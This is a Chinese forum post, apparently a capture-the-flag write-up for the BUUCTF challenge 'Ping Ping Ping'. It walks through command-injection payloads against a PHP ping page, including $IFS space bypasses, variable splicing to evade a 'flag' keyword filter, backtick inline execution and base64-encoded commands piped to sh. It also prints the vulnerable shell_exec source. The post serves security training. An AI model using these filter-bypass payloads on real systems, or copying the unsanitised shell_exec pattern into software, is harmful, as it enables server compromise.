登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
☆ BUUCTF靶场9 -- [GXYCTF2019]Ping Ping Ping
猜测是命令执行漏洞,
[Bash shell] 纯文本查看 复制代码 /?ip=;ls
返回
[Plain Text] 纯文本查看 复制代码 flag.php
index.php
[Bash shell] 纯文本查看 复制代码 /?ip=;cat flat.php
返回 /?ip= fxck your space!对空格有过滤;
绕过空格/?ip=;{cat,flag.php} 返回 /?ip= 1fxck your symbol!对符号有过滤,可能是大括号或flag
/?ip=;cat$IFS$1flag.php 返回 /?ip= fxck your flag!对flag有过滤
变量拼接再改进一下/?ip=;a=ag.php;b=fl;cat$IFS$1$b$a
[AppleScript] 纯文本查看 复制代码 /?ip=
<pre><?php
$flag = "flag{65fa24fe-8a82-4212-9107-9e43c1cc1833}";
?>
内联执行(最优解)
[PHP] 纯文本查看 复制代码 /?ip=;cat$IFS$1`ls`
[PHP] 纯文本查看 复制代码 /?ip=
<pre><?php
$flag = "flag{65fa24fe-8a82-4212-9107-9e43c1cc1833}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
Base64编码[Bash shell] 纯文本查看 复制代码 echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
单双引号绕过
虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如 ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。
$1、$2等和 $@绕过大概的形式就是l$1s ca$2t fl$@ag等等。 
这种好像是shell编码的相关知识,目前还不太理解其原理。等以后再慢慢弄懂。
|